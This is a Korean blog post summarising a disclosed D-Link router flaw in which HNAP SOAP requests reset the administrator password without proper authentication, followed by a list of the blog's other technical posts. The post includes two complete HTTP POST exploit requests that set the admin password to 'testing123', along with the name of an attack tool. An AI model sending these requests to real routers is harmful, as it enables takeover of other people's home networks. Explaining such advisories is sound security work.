한국어

tc_backup

D-Link 공유기에서 취약점이 발견되었다고 한다. 얼마 전에도 D-Link 제품에서 취약점이 발견된 적이 있었는데, 그 때와는 다른 제품이며, 취약점 역시 다르다.

취약점은 단순한 HNAP를 통해 공격자가 captcha 로그인을 완전하게 bypass할 수 있다고 한다. 흠.. (그런데 왜 captcha login이지?) 그리고 내부 네트워크의 공격자뿐 아니라 외부에서도 공격 가능하다는데 외부에서 공격이 가능하다는 의미인지 내부 공격을 통해 외부 접근이 가능하다는 건지 잘 모르겠지만 쭉 보기에는 내부 공격을 통해 외부에서 접근이 가능하다는 의미인 듯함.

D-Link 공유기는 2006년도부터 HNAP(Home Network Administration Protocol)를 지원하지만, 취약점은 아래의 최신 펌웨어에서만 확인이 되었다.

1) DI524 hardware version C1, firmware version 3.23
2) DIR628 hardware version B2, firmware versions 1.20NA and 1.22NA
3) DIR655 hardware version A1, firmware version 1.30EA

HNAP는 SOAP-based의 프로토콜이며 HNAP가 사용된 부분은 "Quick Router Setup Wizard"이고, 여기에서 사용하는 명령을 통해 취약점이 발생하였고, DLink Setup Wizard 메뉴는 HNAP를 사용하지 않고, SOAP request 또한 유효하니까 괜찮다고 함.

attacker는 헤더와 다른 내용의 body를 SOAP action으로 실행 가능하다고 한다.
 
아래처럼...(아래 설명참조)

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:8099
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
ContentLength:453

<?xml version="1.0" encoding="utf8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <soap:Body>
  <SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
   <AdminPassword>testing123</AdminPassword>
  </SetDeviceSettings>
 </soap:Body>
</soap:Envelope>

이 코드에서는 SOAP Action의 헤더는 GetDeviceSettings을 요청이라고 보내면서 실제 내용엔 SetDeviceSettings이라고 해서 Admin 비밀번호를 testing123으로 바꾸는 코드를 담고 있으면서 그거에 대한 인증이나 인증정보를 담고 있지도 않고, 요청도 하지 않는다고 한다. (모델 DIR628, DIR655에 국한됨)

이 취약점은 유효한 reqeust인지 검증을 거치지 않아서 발생하는 문제이다.


그런데 DI524 모델은 같은 SOAP에 대한 취약점이지만, 내용이 조금 다르다.

DI524 모델은 모든 SOAP action에 대해서 인증을 필요로 하지만, admin과 user 계정 모두 이러한 action을 실행시킬 수 있다고 한다.

무슨 말인 즉, 관리자이거나 일반 유저 계정이거나 상관 없이 로그인할 수 있는 계정이라면 위의 처음 취약점처럼 관리자의 비밀번호를 바꿀 수 있는 SetDeivceSettings을 실행할 수 있다는 것이다.(여기서 문제가 되는 것은 user 계정 자체가 default로 blank password라고 한다.)

POST /HNAP1/ HTTP/1.1
Authorization: Basic dXNlcjo=
Host: 192.168.0.1
SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
ContentLength:
453
<?xml version="1.0" encoding="utf8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>

이 코드를 보고 있자니 이번엔 Basic 인증을 거치고 쳐서 정상적으로 SetDeviceSettings Action을 보내 관리자의 비밀번호를 testing123으로 하고 있다. 정상적인 것처럼 보이지만, 문제는 이 Action을 실행시키는 계정이 관리자 권한이 없으며, 비밀번호가 없는 user 계정이라는 것(누구나 접근 가능하다는 점).

HNAP0wn 이라는 tool을 이용해서 간단하게 공격이 가능하다. 첨부되어 있는 pdf 파일을 읽어보면 상세히 설명이 되어 있다.

난 iptime 공유기를 사용중이라 직접 테스트는 못해봤지만, 간단한 구조이니까 금새 뚫리겠지.... 아마도 이 공격으로 인해서 금전적으로 크게 손해보는 기업이 나오진 않겠지만, 개인 유저단에서 인터넷을 이용하기 위해 종종 악용되어 사용하는 경우가 많이 발생할 수 있겠다.

다행인건 윈도우용 POC tool이 아니므로 그나마 이 tool을 이용하는 사람들의 범위가 더 좁아질 것이라는 생각이 든다. 누군가 윈도우용으로 만들어서 배포하지 않는다면 말이지...........

HNAP0wn라는 툴을 통해 간단하게 POC가 가능한데 난 이 tool이 POC tool인지 acttack tool인지 모르겠다....

첨부되어 있는 SOAP action 파일 목록을 보니 POC만을 위해 분석해놓은건 아닌거 같다는 생각이............

AddPortMapping.xml
DeletePortMapping.xml
GetConnectedDevices.xml
GetDeviceSettings.xml
GetMACFilters2.xml
GetNetworkStats.xml
GetPortMappings.xml
GetRouterLanSettings.xml
GetWLanRadioSettings.xml
GetWLanRadios.xml
GetWLanSecurity.xml
GetWLanSettings24.xml
GetWanSettings.xml
GetWanStatus.xml
IsDeviceReady.xml
Reboot.xml
RenewWanConnection.xml
SetDeviceSettings.xml
SetLanSettings.xml
SetMACFilters2.xml
SetRouterLanSettings.xml
SetWLanSecurity.xml
SetWLanSettings.xml
SetWanSettings.xml


pdf 파일
dlink_hnap_captcha.pdf


poc tool
hnap0wn.tar.gz


http://www.sourcesec.com/2010/01/09/d-link-routers-one-hack-to-own-them-all/

List of Articles
번호 제목 글쓴이 조회 수sort 추천 수 날짜
260 [VBA] 엑셀 시트명 가져오기 엔신 174890   2013-01-22
Sub 목록추출() Dim SheetNames() SheetCount = ActiveWorkbook.Sheets.Count ReDim SheetNames(1 To SheetCount) 'Sheets("목록").Select Range("A1").Select For i = 1 To SheetCount SheetNames(i) = ActiveWorkbook.Sheets(i).Name ActiveCell = ActiveWor...  
259 Security Nessus 설치, 사용법 file 엔신 107009   2008-12-11
 
258 Security base64 code 표 file 엔신 98834   2009-01-20
 
257 CCNA ACL(Access List) 설정하기 file 엔신 80011   2008-05-28
 
256 DBMS MySQL 설치/사용시 나는 에러 유형별 대처방법 엔신 72901   2008-02-24
[ MySQL 설치/사용시 나는 에러 유형별 대처방법 ] 1. ./configure 시에 에러가 날때.. 증상 : checking for tgetent in -lncurses... no checking for tgetent in -lcurses... no checking for tgetent in -ltermcap... no checking for termcap functions li...  
255 CCNA 14.[EIGRP] file 엔신 72040   2008-05-26
 
» Security D-Link 공유기 취약점 file 엔신 70953   2010-01-13
D-Link 공유기에서 취약점이 발견되었다고 한다. 얼마 전에도 D-Link 제품에서 취약점이 발견된 적이 있었는데, 그 때와는 다른 제품이며, 취약점 역시 다르다. 취약점은 단순한 HNAP를 통해 공격자가 captcha 로그인을 완전하게 bypass할 수 있다고 한다. 흠....  
253 [APC3.0] AhnLab Policy Center 3.0 관련 모듈 목록 엔신 64269   2013-03-21
마지막 업데이트 날짜 2010-01-13[수정] 1.00대상 제품]AhnLab Policy Center 3.0 SP3 AhnLab Policy Center 3.0 SP2 AhnLab Policy Center 3.0 SP1 AhnLab Policy Center 3.0 [환경]Windows 7 Windows Vista (SP2, SP1, SP 없음) Windows XP (SP3, SP2, SP1, ...  
252 freeware hex editor 엔신 60041   2013-01-22
http://mh-nexus.de/en/hxd/ http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm#download hxd는 메모리 에디터 기능도 있음  
251 Programming COleDateTime 클래스 엔신 52892   2009-11-23
---------------------------------------------------------------------------------------- COleDateTime now = COleDateTime::GetCurrentTime(); int a = now.GetMinute(); 현재 시각이 1:27분이라면 27 정수를 리턴한다. 60초 체크하기 dwTimeStart = ::G...  
250 시간 동기화(ntpdate) & 한국 시각으로 변경 엔신 52476   2012-10-17
sudo ntpdate ntp.postech.ac.kr 안될경우 sudo ntpdate -u ntp.postech.ac.kr 한국시각으로 변경 sudo ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime  
249 [VBA] 파워포인트 그림 리사이즈, 위치 고정 엔신 52079   2013-02-21
해당 이미지 선택 후 함수 실행하면 리사이즈, 위치 이동 Sub first() ActiveWindow.Selection.ShapeRange.LockAspectRatio = msoFalse ActiveWindow.Selection.ShapeRange.Height = 193.3228 ActiveWindow.Selection.ShapeRange.Width = 337.8898 ActiveWindo...  
248 Linux 삭제 파일 복구하기 debugfs 엔신 51503   2008-02-23
아래에용은 kldp.org 에서도 발견할 수 있음 여기 수록된 내용은 woogi 라는 닉네임 사용자가 oops.org에 올린 내용 ---------------------------------------------------------------------- 리눅스에서의 파일 삭제는 신중을 기해야 한다. 왜냐면 삭제된 파...  
247 Windows 64비트 운영체제에서 아크로뱃 설치시 adobepdf.dll 파일이 없다고 할 때 [5] file 엔신 47472   2007-07-25
 
246 Linux configure: error: No curses/termcap library found 엔신 46461   2008-02-24
OS 를 fedora Core 6 에서 CentOS 5 로 바꿨더니 필요한 패키지가 없었다. configure 시 오류 메세지 checking for termcap functions library... configure: error: No curses/termcap library found 기본 ncurses가 깔려있어도 오류가 나서 devel버젼을 설치...  
245 RCE [MUP] UPX & Stolen Bytes [2] file 엔신 46326   2009-02-17
 
244 CCNA Frame-relay(프레임릴레이) multipoint 방식 풀메쉬 토플로지 구현 file 엔신 45825   2008-06-09
 
243 Security SSH Port Forwarding(SSH Tunneling) [2] file 엔신 45817   2009-05-29
 
242 Windows VMware VMwareDnD 폴더 엔신 43566   2009-03-07
VMware를 사용하다보면 외부 PC와 VMware 안의 가상(내부) PC 사이에 서로 파일을 보내거나 전송해야 하는 경우가 발생한다. 이 때 한 쪽 PC를 Server로 하여 FTP나 HTTP를 통하여 파일을 전송하는 방법도 있고, 다른 인터넷 계정에 파일을 올리고 반대편 PC에...  
241 CCNA 서브넷팅 : 가장효율적으로 IP를 할당할수 있는 방법!!(VLSM) 엔신 42861   2008-05-12
본사, A, B가 있다. 넷트웍을 분할하려면 몇개로 해야할까? 3개? ㄴㄴ -> 2의 N승 개만 되기때문에 4개로 분할해야겠다. 호스트수가 본사 : 120, A: 60 B: 30 이다. 이럴경우는 본사에 맞춰서 넷트웍을 할당해야겠다. 128개가 필요하다. * 4를 해서. 512개가 ...